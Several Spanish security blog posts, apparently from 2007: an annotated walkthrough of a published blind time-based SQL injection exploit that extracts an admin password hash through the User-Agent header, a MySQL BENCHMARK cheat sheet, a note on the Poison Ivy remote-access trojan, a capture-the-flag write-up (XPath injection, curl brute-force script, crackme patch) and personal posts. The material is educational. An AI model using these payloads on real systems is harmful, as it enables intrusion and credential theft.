Vamos a ver la parte más interesante del código. El código completo de este exploit está disponible en la siguiente URL: http://www.milw0rm.com/exploits/4078

Explicación del código del exploit

Inicializa la contraseña a vacío e itera con dos bucles, uno parará cuando se llegue al último caracter del hash de la password (chr(0)) y el segundo va iterando por cada carácter del hash pasando por todos los posibles valores ASCII:

$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{


Una vez dentro del bucle inicializa un contador para la petición que va a realizar:

$starttime=time();

Y genera la cadena clave del exploit:

$sql="FuckYOU'), (1,2,3,4,5,(SELECT IF ((ASCII(SUBSTRING(se_games.admin_pw,".$j.",1))=".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM se_games))/*";

Esta es la cadena que va a inyectar, como véis el fallo es un SQL Injectión en un parámetro alfanumerico al que va a poner el valor FuckYOU, luego rompe la sentencia con la comilla y cierra el paréntesis para que la instrucción del programador se ejecute correctamente. Después añade un registro de 6 columnas (para que no error con la estructura que debe estar usando el programador en su consulta interna). Las 5 primeras son constantes "1,2,3,4,5" y la sexta la saca de una constulta en la que hace un Select del valor ascii de un letra que va moviendo con el contador $j y lo va comparando con otro contador con el valor $i. En el momento que coincidan, se cumplirá la condición y se ejecuta la función benchmark que genera un retardo de tiempo.

Ahora construye el paquete con HTTP con la inyección. ¿Dónde va la inyección en este paquete?

$packet ="POST ".$p."game_listing.php HTTP/1.0\r\n";
$data="l_name=Admin";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="CLIENT-IP: 999.999.999.999'; echo '123\r\n";//spoof


Aquí, en el parámetro User-Agent. No hace mucho escribí sobre meter un XSS en el Referer, hoy vemos un SQL Injection en el User-Agent. Como ya sabéis, este es un parámetro optativo de HTTP 1.1 que se usa para identificar el software que accede al servidor. Esos valores se usan para realizar estadísticas y, se supone, crear servicios orientados a tus clientes, es decir, adecuar tus aplicaciones al software que usa cada cliente para conectarse. En el caso de hoy, el programador ha debido usar ese valor en una consulta SQL a MySQL y no lo ha filtrado correctamente. Fin de la historia.

$packet.="User-Agent: $sql\r\n";

El exploit continúa con la construcción del paquete y una vez terminado lo envía:

$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
//debug
#die($html);
sendpacketii($packet);
if (eregi("The used SELECT statements have a different number of columns",$html)){echo $html; die("\nunknown query error...");}


Y es en esta parte final dónde averigua si la letra probada con el valor $i en la inyección ha dado un valor Verdadero (ha habido retraso) o Falso (no ha habido retraso). Para ello comprueba el tiempo tardado y evalúa si la diferencia ha sido mayor que 7 segundos, que según el benchmark es lo que debería tardar esa función en terminarse:

$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 7) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
echo "

$uname Hash is: $password";


Esta idea de usar la función Benchmark aparecieó a finales del año pasado publicadas en varias "SQL Injection Cheat sheets" aunque previamente se había visto en algún exploit:

SELECT BENCHMARK(10000000,ENCODE('abc','123'));
(this takes around 5 sec on a localhost)

SELECT BENCHMARK(1000000,MD5(CHAR(116)))
(this takes around 7 sec on a localhost)

SELECT BENCHMARK(10000000,MD5(CHAR(116)))
(this takes around 70 sec on a localhost!)

Using the timeout to check if user exists
SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login


Como se puede ver las técncias de Injección ciega tienen ámplias aplicaciones, no son nada complejas y abren un abanico de posibilidades a la hora de explotar vulnerabilidades SQL Injection.

Saludos malignos!

lunes, junio 18, 2007

Cuidado con las Ratas

Las RATs en inglés, además de ser esos animales que viven por las alcantarillas en la ciudad de Gotham, son las Remote Administration Tools, es decir, las herramientas para administrar remotamente equipos. Este concepto tan técnico, recoje en muchos casos al conjunto de troyanos que circulan por Internet.

Unos de los "peores troyanos", o debo decir, de los "mejores troyanos", es Posion Ivy, "Hiedra venenosa". Tiene varias características que hacen de él una pieza de ingeniería única para lo que son los troyanos RAT, como son:

- Conexión reversa: Es decir, es él equipo troyanizado el que se conecta a la máquina del atacante, lo que le permite saltarse firewalls, NATs, etc...

- Cifrado de comunicaciones y transferencia de ficheros: Para saltarse IDS, Sniffers, etc...

- Gestión completa remota de ficheros, servicios, registro, wireless, aplicaciones instaladas, aplicaciones corriendo, etc...

- Robo de hashes de cuentas y de Wireless Zero Configuration.

- Shell Remota, Keylogger, Screen Recorder, sound recorder y Webcam recorder.


Consola de Administración Remota

Vamos, el amigo de los niños si te lo introducen en tu equipo. El nivel de peligrosidad de este troyano es altísimo, pues no solo sus características, sino además lo extendido que está, obligan a preocuparse por él, pero...¿realmente se preocupan por él?

La última versión, la 2.3.0 lleva ya más de una semana circulando por Internet y hoy he decidio ver, después de esos días que lleva rodando por el mundo de Internet, cuantos motores de antivirus se han preocupado por él, así que he hecho un troyano y he configurado el servidor con las opciones por defecto.

Consola de Creación del Servidor

Y lo he subido a Virustotal,como no, para ver cuantos, de los 31 motores de antivirus que tienen hoy en día integrados, lo detectaban.

Resultados en Virus Total

12 motores. Lo preocupante no es que lo detecten 12, lo preocupante es que sólo 12 motores detectan un troyano sobradamente conocido, con una larga historia, que se ha publicado por todo Internet y del que circulan montones de manuales para que cualquiera pueda hacer lo que desee con él.

¿Tan saturadas están las compañías Anti-Malware? ¿Hay dejadez?

domingo, junio 17, 2007

Derecho de asociación

"Nunca pertenecería a ningún club que tuviera como socio a alguien como yo", dijo el Gran Groucho.

Hoy en día, incluso la gente así tiene su lugar en ciertos clubs, lo que ha permitido que los informáticos se puedan reunir, juntar y aparear (esto es menos común) entre gente de su especie. Cuando entré en la universidad podías ser de la tuna o de una asociación de juegos, de arte tecnológico, etc... Yo no tenía muy clara la elección, así que estuve muy poco tiempo el primer año en un club de juegos.

Ya, con más años, conocí las comunidades técnicas y descubrí que tienen su encanto. Gente apasionada por la tecnología que trabaja más horas que nadie solo por el placer de compartir conocimiento.

En el entorno de Spectra conocí a los grupos de usuarios .NET, formados por profesionales en su mayoría, o los Clubs .NET, grupos de estudiantes en la universidad que se asocian para compartir tecnológía. Aunque alguien pudiera pensar que la única tecnología que van a compartir es .NET o productos Spectra. Si pensais así estáis equivocados. Estos grupos/clubs pueden hablar de lo que quieran y compartir lo que deseen. En algunos de ellos se habla de Mono, de PHP, Linux o incluso de Copyleft. Lo que quieran. No cobran ni un duro por su trabajo y su esfuerzo con lo que nadie les puede decir de que tienen que aprender o que tecnología deben usar.

Yo he tenido la suerte de estar en muchas charlas (fiestas y cachondeos también) con ellos y me lo he pasado genial y me he divertido en cantidades industriales. En esta de aquí abajo fue cuando estampé los huevos en la cabeza de los que no se sabían las respuestas. Este compañero de aquí, que recibe estoicamente su huevo, en concreto dijo que los parches en el SL salían los segundos martes de cada mes, jejeje. ¿Merecia o no el huevete?




Pero como os decía no son los únicos clubs y asociaciones; en Navarra conocí a un grupo de gente genial que se llama Gruslin (Grupo de Usuarios Linux de Navarra) dónde tuvieron a bien bautizarme como "el maligno disfrazado" o incluso el gran Íñigo (me debes un cubata pájaro) de navarrux me retó a que le atacara su Apache y jugamos un rato.

De esos grupos de usuarios nacieron las camisetas, ya famosas, de Spectra que me regalaron en el Developer Day y que hoy llevan muchos personajes por ahí. ¿Tú no tienes la tuya?


En estos grupos se hacen cosas divertidas, como la batalla estelar que generó El Duelo de Destinos en el Instituto Cuatro Vientos, en el que se discutía sobre .NET y PHP e hicieron este vídeo.



De estas asociaciones, partys, grupos y clubes he conocido a gente genial y divertidísima, que me han enseñado mil cosas. De los dos "bandos" que al final resulta que solo es uno.

Venga, va, ¿de verdad quieres quedarte en casa tirado? ¿No te apetece conocer "Gente que no quisiera estar en ningún club que le admitiera a él como socio"?

PD: ¡¡¡¡MIL GRACIAS POR LAS FELICITACIONES POR MI CUMPLE!!!!!!!!

sábado, junio 16, 2007

Solucionarios, Retos y Premios

Ayer por la noche publiqué la solución que escribió del III Reto Hacking el amigo RoMaNSoFt dándolo por terminado. Mil gracias por compartirla Román. Al igual que los retos I y II, este tercer reto seguirá abierto para que el que lo desee pueda jugar un rato. Quiero dar las gracias a todos los que lo habéis intentado y a todos los que lo habéis conseguido, pues sé la inversión en tiempo que hay que realizar. Espero que os gusten estos retos, pues dentro de 1 mes o més y medio tendréis disponible el IV Reto, para que no os aburrais en verano.....

Links a los retos y a los Solucionarios.

- Primer Reto Hacking
- Solucionario Primer Reto Hacking
- Segundo Reto Hacking
- Solucionario Segundo Reto Hacking por Daniel Kachakil
- Tercer Reto Hacking
- Solucionario Tercer Reto Hacking por RoMaNSoFt

Ah, y enhorabuena a los 6 que lo habéis superado esta vez. (Mandingo, Roman, Palako, Kachakil, Pedro Laguna y apren)

Buen Finde!

PD: Voy entregando los regalos, pero recordadme que regalos os debo. A Román un cd de Leño, a Mandingo le debo la caricatura (espero la foto), a Palako la caja de botellines, a Pedro Laguna la tarta con arándanos, ....¿algún premio más?

Solución al Reto Hacking III por RoMaNSoFt

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
---> Solución al Reto Hacking III (www.elladodelmal.com) <---
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


{ Por: Román Medina-Heigl Hernández (aka RoMaNSoFt) }

Versión TXT : http://www.rs-labs.com/papers/i64-retoIII-solve.txt


[25/May/07]


--[ Nivel 1 ]

Partimos de la página principal de entrada (login):

http://retohacking3.elladodelmal.com/Default.aspx

Después de probar lo típico de "SQL injection", analizar el código HTML/JS, probar a modificar algunos parámetros que se le envían al formulario de login (cambiar "true" por "false" o al revés, etc) y probar usuarios y URLs a lo tonto (intentar adivinar algún .aspx escondido, una hipotética página de administración oculta, usuarios típicos como "admin"...), no funciona nada.

Llama la atención el siguiente comentario HTML en la página principal:

[!-- XML Validation --]

Que junto a la 1ª pista ("No siempre hay Sistemas Gestores de Bases de Datos Relacionales y por tanto esta vez puedes ahorrarte el SQL ¿o no?"), hacen pensar en algo diferente a inyección SQL pero relacionado con XML. Seguimos sin encontrar nada.

Ya no sabía qué mirar hasta que se me ocurrió echarle un vistazo al índice del "OWASP_Testing_Guide_v2_spanish_doc" y éste me dio la idea: probé un par de cosas y una de ellas era la "inyección XPath", que funcionó a la primera:

User: abc' or 1=1 or 'a'='b
Pass: k


Así pasamos al nivel 2.

Más info sobre "XPath injection":

--[ Nivel 2 ]

[http://retohacking3.elladodelmal.com/banco/principal.aspx]

La segunda fase era más o menos evidente: aparece un panel del control del supuesto banco (cuentas, movimientos, transferencias, etc) y pinches lo que pinches aparece una ventana de "control de acceso" que pide un código numérico de 2 dígitos (si le das a enviar directamente te sale un alert-box que te dice que debes introducir un número entre 0 y 999, pero es un error:

la aplicación no te deja poner realmente más de 2 caracteres [1]).

Para hacernos una idea de las posibilidades que hay, escogemos sucesivas veces un código cualquiera ("00", por ej.) y nos fijamos que las coordenadas que te piden van cambiando al azar. Parece ser que la fila más alta es la 10 y la letra la J, lo que nos da 100 (=10*10) coordenadas diferentes. Cada coordenada debe tener un valor entre 00 y 99 (es decir, 100 valores posibles). En total, hay un máximo de 10000 (=100*100) combinaciones posibles que aparentemente hay que adivinar. ¿O no? ;-)

Nos fijamos en la pista: "La ciencia ha aprendido en muchos campos utilizando los sistemas de Ensayo y Error. Aprender es bueno.". Parece claro que la prueba va de brute-forcing. Comprobamos que no hay un límite de intentos por lo que es posible probar valores al azar y realmente sería posible encontrar los valores correspondientes a toda la matriz de coordenadas (de 10x10), sin más que hacernos un programa que vaya probando diferentes valores tomando nota en todo momento de la coordenada que nos haya pedido. Un primer problema es que no sabemos realmente qué pasa cuando introducimos el valor de coordenada correcto (¿te pide de nuevo una coordenada hasta llegar a, por ej, 3 coordenadas exitosas? En este caso, ¿cómo distinguimos un acierto de un fallo?). Un segundo problema es la pereza: hay que hacerse el programilla de marras, que aunque no muy complicado, es un palo :-)

Cambiamos de táctica: escogeremos un valor (por ej, el "00") y se lo mandamos indefinidamente al servidor, sin importar la coordenada que nos pida. En teoría tenemos un 1/100 de probabilidad de acertar, así que se supone que con 100 intentos debería bastar (de todas formas, nosotros enviamos muchos más, para curarnos en salud). Primera ventaja: el programa que nos tenemos que hacer es trivial (simplemente que envíe una misma petición varias veces, la lógica es mucho más sencilla que la propuesta anterior). Segunda ventaja: si hiciera falta acertar N veces para pasar de nivel no nos importaría (sería cuestión de dejarlo funcionando más tiempo).

¿Cómo implementar el ataque?

Pensemos antes en cómo reconocer qué hemos acertado la coordenada o pasado de nivel. No sabemos realmente qué pasará. Esto unido a que hay que buscar una forma sencilla (para ahorrar tiempo y neuronas) de hacer el ataque me lleva a programar un simple shell-script basado en Curl. El script deberá enviar siempre el mismo valor y loguear lo que devuelva el servidor en ficheros diferentes: "brute_X", donde X es el número de iteración. La idea es:

- comprobar el tamaño de dichos ficheros resultantes (se supone que cuando ocurra "algo" la respuesta debería variar y notaríamos la variación del tamaño del fichero).

- como chequeo extra, podemos buscar la palabra "Coordenada". En la página actual aparece siempre (te pregunta por la "Coordenada" X). Si superamos el control es de prever que no aparezca de nuevo.

Lanzamos nuestro script y a esperar. Se generan ficheros de resultados de mismo tamaño, con un margen de ± 1 byte, ya que en la coordenada te pueden pedir la fila 1-9 (1 caracter) o bien la 10 (2 caracteres). Nos damos cuenta de ello. También nos damos cuenta de que a partir de cierto número de iteraciones el servidor nos devuelve una cabecera "Set-Cookie" y que pasadas otras tantas interaciones el servidor te envía una redirección a la página de login (la sesión ha expirado). Modificamos nuestro script para que tenga en cuenta esto y que sea capaz de leer/actualizar las cookies (la opción "-c" de Curl nos facilita cumplir con este requerimiento), para evitar que la sesión caduque. Lo lanzamos y pasado un número razonables de peticiones (~10000) no vemos resultados. Así que o estamos teniendo muy mala suerte o hace falta acertar muchas coordenadas o hemos programado algo mal en el script o realmente nos deberíamos de haber logueado con un usuario dado (actualmente estamos logueados como "Usuario desconocido"; intenté adivinar el usuario con técnicas de "XPath injection" pero no fue posible; teóricamente es posible extraer la base de datos XML entera utilizando el algoritmo de "Blind XPath injection" descrito en un paper de Amit Klein del 2004, pero parecer ser que no existe una implementación pública del mismo; aunque es totalmente factible hacérnoslo descartamos que el reto obligue a ello, por el tiempo que llevaría)... o da la casualidad que el "00" no es valor válido para ninguna coordenada. Así que modificamos de nuevo el script para que pruebe diferentes valores en el rango permitido, con lo que solucionamos la última posibilidad.

El script final ("fase2_random.sh") queda:

============

#!/bin/bash
# Reto III de elladodelmal.com. (c) RoMaNSoFt, 2007.
# 24.05.2007.

### Variables
postdata1='__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExMjIyMTQ1OTgPZBYCZg9kFgICAw9kFgICAQ9kFgICCA8PFgIeB1Zpc2libGVnZBYCAgMPDxYCHgRUZXh0BVJDb29yZGVuYWRhIGNvcnJlc3BvbmRpZW50ZSBhIGxhIGZpbGEgPHN0cm9uZz4zPC9zdHJvbmc%2BIHkgbGV0cmEgPHN0cm9uZz5GPC9zdHJvbmc%2BZGRkSYVIkDvElpfi8SgDyfFCMU6m42c%3D&ctl00%24ContentPlaceHolder1%24txtEntrada='
postdata2='&ctl00%24ContentPlaceHolder1%24btEnviar=Enviar&__EVENTVALIDATION=%2FwEWCgKtx%2B6xDQLfv9utAgLd6PvdDwL2wJ38BAKZ2vm1CgKm15b5DQKBoK32BwLe6KO9BQLauvOYCAKwu%2BOhDuM7VBfx98B7Xafx00b9oBV%2BIy%2Bv'
basefichero="brute"
cookies="cookies"

### Programa principal

c=0

for i in `seq 1 50000` ; do
echo -n " $i "
p=`printf "%02d" $c`
postdata="$postdata1$p$postdata2"
outfile="$basefichero""$i""_$p"
curl --silent --include --cookie "$cookies" --cookie-jar "$cookies"
"http://retohacking3.elladodelmal.com/banco/principal.aspx" --data
"$postdata" > $outfile
c=$(($c+1))
if [ $c -gt 99 ] ; then
c=0
fi
done

echo
echo 'Ahora a buscar con: for i in brute* ; do grep -q Coordenada $i ||
echo $i ; done'
echo Done


============

El script genera muchos ficheros donde se incluye el número de iteración y el valor probado (esto último por simple curiosidad). Lo dejamos "DoSeando" el servidor del concurso, digo, trabajando. Veamos algunas muestras significativas:

[1] -rw-r--r-- 1 roman roman 12493 2007-05-24 22:09 brute1_00
...
[2] -rw-r--r-- 1 roman roman 12494 2007-05-24 22:09 brute21_20
...
[3] -rw-r--r-- 1 roman roman 418 2007-05-24 22:44 brute2831_30
...


La muestra 1 y 2 son respuestas normales que te preguntan por un coordenada. La 2 ocupa 1 byte más porque pregunta por la fila 10. Las de tipo 1 preguntan por las filas 1-9 (realmente hay más diferencias: por ejemplo cambia el timestamp de la respuesta, valores de variables como __VIEWSTATE, etc pero normalmente se mantendrá la longitud de esos campos/variables). ¿Y la muestra 3? Pues lógico, hemos debido acertar, veámoslo:

roman@jupiter:~/Hack/Wargames/informatica64-retoIII/brute$ cat brute2831_30
HTTP/1.1 302 Found
Connection: Keep-Alive
Content-Length: 138
Date: Thu, 24 May 2007 20:43:42 GMT
Location: /banco/faseFinal.aspx
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private

[html][head][title]Object moved[/title][/head][body]
[h2]Object moved to [a href="/banco/faseFinal.aspx"]here[/a][/h2]
[/body][/html]


Vemos que nos redirige a la "faseFinal" ;-)

Curiosidades:

- yo probé exactamente 15425 peticiones.

- para ver los aciertos:

roman@jupiter:~/Hack/Wargames/informatica64-retoIII/brute$ for i in brute*; do grep -q Coordenada $i || echo $i ; done
brute10545_44
brute1481_80
brute2831_30
brute3431_30
brute6381_80
brute6931_30
brute7581_80


- diferentes valores: 44, 80 y 30 (estos dos últimos repetidos: o se
repiten las coordenadas más de lo debido o simplemente se han rellado
repitiendo valores; lástima que no apuntara además del valor la coordenada, para salir de dudas).

Luego nuestra tasa de acierto es de 7/15425. Pequeñita pero suficiente para acertar 7 coordenadas en un tiempo razonable:

- la primera petición la lancé a las "2007-05-24 22:09"

- la última tiene timestamp "2007-05-25 01:18"

- el primer acierto: "2007-05-24 22:27"

Como se puede apreciar, en mi caso tenía la solución a los 18 minutos (con tasa de éxito de 1/1481, bastante mayor del 1/100 teórico [1]) y estuve "DoSeando" el servidor del concurso durante algo más de 3 horas (en realidad fuimos buenos chicos: podíamos haber enviado varias peticiones en paralelo...).

Por último, algunas utils que pensé en utilizar en primera instancia pero que luego descarté (preferí personalizar la solución con mi script):

* C-Force : http://carpetboy.deny.de/tut.htm

* Crowbar : http://www.sensepost.com/research/crowbar/

--[ Nivel 3 ]

[http://retohacking3.elladodelmal.com/banco/faseFinal.aspx]

El nivel más sencillo de todos. Es un "crackme" simplón como se deduce tanto de la pista ("El hacking ha muerto" -aunque obviamente sea una mentira-) como de la página. Esta última nos invita a bajarnos un ejecutable "genera-códigos" y finalmente te pide que lo introduzcas. Blanco y en botella... ¿la leche? Noooo, el crackme :-)

Le pasamos el PEiD (http://peid.has.it) al ejecutable: lo detecta como "MASM32 / TASM32" (lo cual tiene su lógica: para un reto que se supone que es de hacking no van a poner un crackme complicado -con empaquetado, técnicas anti-debug, etc- sino algo sencillo). Lo abrimos por tanto con un debugger: OllyDbg (otra buena opción aunque no gratuita es "IDA Pro"). Y finalmente lo crackeamos.

No pretendo dar un curso de cracking (hay muchos tutoriales por la red) ni de manejo de OllyDbg (misma razón). Resumo lo que hice:

- abrimos el ejecutable con OllyDbg.

- inspección ocular y breve análisis del mismo. El código es pequeño y claro.

- posibles vías de ataque (a priori): buscar y entender el algoritmo que genera el código, buscar el punto donde se chequea el user/password introducido, interrumpir la ejecución (breakpoint) cuando se llamen a las funciones que se usan para el "tratamiento" o chequeo de strings (kernel32.lstrcmpA y kernel32.lstrlenA), guiarme por los mensajes de error (user32.MessageBoxA), etc

- opto por la última opción. Me sitúo en la parte del código que imprime en pantalla el mensaje de "Datos Incorrectos":

004011A2 |> \6A 10 PUSH 10 ;
/Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
004011A4 |. 68 14304000 PUSH 00403014 ;
|Title = "Reto Hacking #3"
004011A9 |. 68 31304000 PUSH 00403031 ;
|Text = "Datos Incorrectos"
004011AE |. 6A 00 PUSH 0 ;
|hOwner = NULL
004011B0 |. E8 A9020000 CALL ;
\MessageBoxA


- situando el cursor (y pinchando una vez) sobre la primera línea (004011A2), OllyDbg te indica desde qué otra parte del código hay un salto hacia dicha dirección. En nuestro caso, el salto está en la dirección 00401189.

- miramos el código cercano a esa dirección:

00401182 |. E8 B2000000 CALL 00401239
00401187 |. 0BC0 OR EAX,EAX
00401189 |. 75 17 JNZ SHORT 004011A2


Se está llamando a una rutina en 00401239 y posteriormente según sea el resultado de la misma se salta o no a 004011A2. En otras palabras, se llama a la rutina de comprobación de user/password y si este chequeo no es correcto aparecerá en pantalla el mensaje de "Datos Incorrectos".

- eliminamos el salto condicional (00401189), esto es, lo sustituimos por instrucciones NOP. Para ello nos situamos en la línea del salto y luego: botón derecho -> Binary -> Full with NOPs. A partir de ahora, sea la comprobación de usuario/contraseña correcta o no, nunca se salta a la parte del código que imprime el mensaje de error sino que siempre se asume que la comprobación es correcta (otra opción sería haber NOPeado la rutina de comprobación, por ejemplo).

- por último, pulsamos F9 (o bien seleccionamos: Debug -> Run), con lo cual OllyDbg ejecutará el programa (con nuestros NOPs). El botón de "generar código de activación" está desactivado.

- introducimos cualquier usuario y contraseña (user: a / pass: b). Pinchamos en "Validar". Se activa el botón de generación de código. Pinchamos este último y nos dice que el usuario debe contener al menos 5 caracteres.

- introducimos de nuevo un usuario y contraseña pero esta vez nos aseguramos de que el nombre de usuario tenga más de 5 caracteres. Validamos y obtenemos el código de activación.

- opcionalmente (y de manera adicional) podemos decirle a OllyDbg que salve el binario modificado. De esta forma ya tendríamos un generador "trucado" (crackeado). Y si se quiere rizar el rizo (y ser un profesional del cracking) pues nos hacemos el "patcher" correspondiente (lo que vulgarmente se conoce como "crack" -aunque hay otros tipos de cracks-).

Una vez obtenido el código volvemos a la aplicación web ("Maligno Bank") y lo introducimos.

¡Reto superado!

=-=-[ EOF ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[1] Actualización 26/05/07: Al final ha resultado que había un error de programación en la página por el cual en Firefox sólo te dejaba introducir valores de coordenadas entre 00-99 mientras que en IExplorer te permitía 000-999. Por tanto, los que utilizamos Firefox pensamos que el mensaje del alert-box era erróneo cuando lo que realmente estaba mal era el código de la página. Resumiendo: el rango de valores correcto es 000-999. Y por tanto, se obtiene una tasa de acierto teórica del 1/1000, mucho más cercana a la que obtuvimos nosotros (1/1481).

=-=-[ EOF-2 :-) ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

jueves, junio 14, 2007

Una Cosilla

El 13 de diciembre del año pasado me invitaron a Pamplona a participar en la inauguración del Club .NET de Navarra, el Navarradotnet. Allí al finalizar la sesión, con los vinos y los “canapies” se acercó un waperas a felicitarme.

- Me ha gustado mucho la charla, pero a mi no se me da bien la seguridad. Me gustaría aprender estas cosas…
- Va, no se puede aprender todo, cada uno a sus cosas, tú seguro que eres bueno en tu curro.
- Naaaaa, mi curro me aburre muchisimo, a mi me gustaría hacer otra cosa. Me gusta programar en .Net y he hecho una cosilla.
- ¿Qué has hecho?
- Na, quería hacer un Simulador para conducir.
- ¿Comor? [Pantallazo azul]. Mándame algo de info ya, por favor.
- OK


El “gamba” a los días me envió esto:



Y esto:


Y además esto otro también:


El amigo Iñaki, que así se llama nuestro protagonista, ha estado 4 años desarrollando esto en sus “ratillos” y a día de hoy ha decidido jugársela en la aventura empresarial. Cerró su etapa con su anterior curro y se estableció. Llegó un día y dijo:

- Me abro y no de patas!

...y no le han vuelto a ver el pelo. Yo he tenido la suerte de que me haya dejado practicar con el simulador. SIMAX, así se llama. La sensación es de tal realismo que hasta acojona y vas con cuidado de no romper el coche.



La “broma” de la gorra que llevo puesta en el vídeo es para poder manejar las cámaras de visión, de tal manera que mueves la cabeza y se mueve la cámara. Si habéis tenido la suerte de verle en alguna conferencia os puede contar más cosas sobre el proyecto, pero sino, podéis preguntarle en su blog.

¿Una cosilla? ¡Perro!

PD1: Iñaki, no pienso hablarte hasta que no metas mi coche en el simulador, que a mi sí que me hace falta practicar después de haberme dado los cuatro trompitos con mi coche y estar a punto de romperme la crisma por un charquito de na.

PD2: Creo que alguien en una conferencia le preguntó si lo iba a poner bajo GPL...

Blind SQL Injection (I de ….) en MySQL

Ya mucho sabéis que estoy trabajando desde hace tiempo con los ataques a ciegas, que les tengo especial cariño, por todas las repercusiones que tienen. En este año y pico llevo dándole las vueltas a esta idea tan sencilla de sacar información de una base datos utilizando la lógica de verdadero y falso con las inyecciones SQL, XPath, etc…

Todo lo que he ido aprendiendo sobre las técnicas de Blind lo he ido usando en mi trabajo, en las auditorías de seguridad, lo he contado en múltiples charlas (el día 24 de Julio lo contaré en Málaga y el 26 de Julio lo contaré en Madrid – Getafe), también lo usé para plantearos el Primer Reto Hacking [solucionario], pero además lo he usado para el Proyecto de Fin de Carrera que entrego esta semana. Un resumen del Proyecto, someramente, lo he escrito en dos artículos para PCWorld, uno en este mes y otro para el mes que viene que ya iré posteando más adelante por aquí.

Pero entre que leo el proyecto y os pongo los artículos hay muchas cosas chulas que quiero ir poniendo por aquí. Algunas ya las conoceréis, otras quizás os sean nuevas, pero para que nadie se pierda vamos a ir despacito, a ver si en 15 o 20 posts puedo ir poniendo todo lo que me parece interesante sobre estas técnicas.

Hoy os quiero poner una herramienta, que tiene ya un par de años, y es para realizar Blind SQL Injection en base a palabras clave y para MySQL. ¿Y esto que significa?

La idea básica de las técnicas de Blind SQL Injectión es explotar una vulnerabilidad SQL Injection en base a respuestas de verdadero o falso ante preguntas lógicas.

Ejemplo número 1: Basado en palabras claves.

Imaginad una aplicación típica LAMP en la que tenemos una URL del tipo:

- http://www.miwebserverchulo.com/miprograma.php?mi_id=1

que nos devuelve una bonita página HTML con sus letas y sus fotos y todas sus cosas interesantes. Bien, ahora ponemos un poco de lógica en la inyección utilizando un carácter muy malo: el espacio.

- http://www.miwebserverchulo.com/miprograma.php?mi_id=1 and 1=1
- http://www.miwebserverchulo.com/miprograma.php?mi_id=1 and 1=0


Si tras realizar la llamada con la inyección "and 1=1" no pasa nada, es decir, obtenemos la misma página, quiere decir que ha ejecutado la inyección. Si al ejecutar la inyección con "and 1=0" devulve otra página cambiada, entonces el sitio está muerto.

¿Como explotarlo? Pues utilizando las técnicas de Blind SQL Injection. Hoy no quiero centrarme demasiado en ellas, y prefiero que veáis un video que referencio en el artículo de Julio de PCWorld. El video es de las herramientas SQLBftools.

Utilizan como forma de automatización cadenas clave. Esto quiere decir que en la página de verdad (la de respuesta ante la inyección and 1=1) deberemos buscar una palabra que no aparezca en la página de mentira (la que nos da con la inyección and 1=2). Esto tiene mil matices y connotaciones, pero valga el post de hoy para que los que empiezan con esto puedan ir aprendiendo. Lo bueno de esta sencilla aproximación es que a partir de verdad y mentira puedes descubrir los objetos de la base de datos, las columnas, los datos y hasta los ficheros del servidor. Yo he probado este juguetito y han bajado bastantes /etc/passwd.

El vídeo lo podéis descargar de esta URL junto con una explicación más detallada por parte del autor, pero como no estaba en Youtube y me parecía más cómodo lo he subido.



SQLBFTools video

Divertido, ¿no? Con verdadero y falso se creo el algebra de bool, ¿no?

No seais malos....

miércoles, junio 13, 2007

Ex Director de Linux Foundation es un Judas

...o así le ha denominado algún "descabalao" [Primer comentario] cuando ha decidido pasarse al lado del mal y trabajar en Spectra en los laboratorios de interoperatividad. Y es que está muy feo cambiar de trabajo e irse con la competencia.

No sucedió lo mismo cuando la señora o señorita Widow Snyder dejó la compañía del mal para irse a trabajar en seguridad en la compañía del zorrito calentito, y es que cuando lo que se desea es interoperatividad, ¿qué mejor manera que fichar a alguien del lado con el que te quieres inter-operar?

Recuerdo que en el último IT-Forum, escuchando a Mark Russionovich, alguien aprovechó una parada del cañón de vídeo para preguntarle por cómo se sentía ahora que estaba trabajando en Spectra a lo que él respondió “I love it”. Y todos nos reímos, porque sabíamos que nadie puede querer trabajar en Spectra y mucho menos estar feliz.

Y es que algo tiene que estar funcionando mal en el mundo cuando “todos” lo vemos. En el último cómic de Ci-Fi que me he leído, llamado “Ocean”, el resumen es el siguiente:


“El descubrimiento de unos posibles vestigios de vida inteligente bajo la densa capa de hielo de Europa, una de las lunas de Júpiter, alarma a las autoridades. Nathan Kane, inspector de armamento de las Naciones Unidas, deberá investigar la verdad del hallazgo, qué hacer con todo eso y averiguar hasta qué punto la multinacional Doors, propietaria de tres países, está involucrada en el asunto. ¿Qué se esconde tras ese muro de hielo?".

Curiosamente la multinacional Doors, propietaria de tres países, desarrolla software, y es la responsable de los sistemas operativos que se cuelgan con pantallazos azules provocando el repudio del protagonista bueno y en dicha compañía sus trabajadores renuncian a su personalidad para ser dirigidos como autómatas por sus superiores (malos, muy malos) a cambio de un buen sueldo. Para ello les inyectan nanotecnología en el cerebro que es controlada en remoto por sus superiores. Como la misma realidad, ¿no?

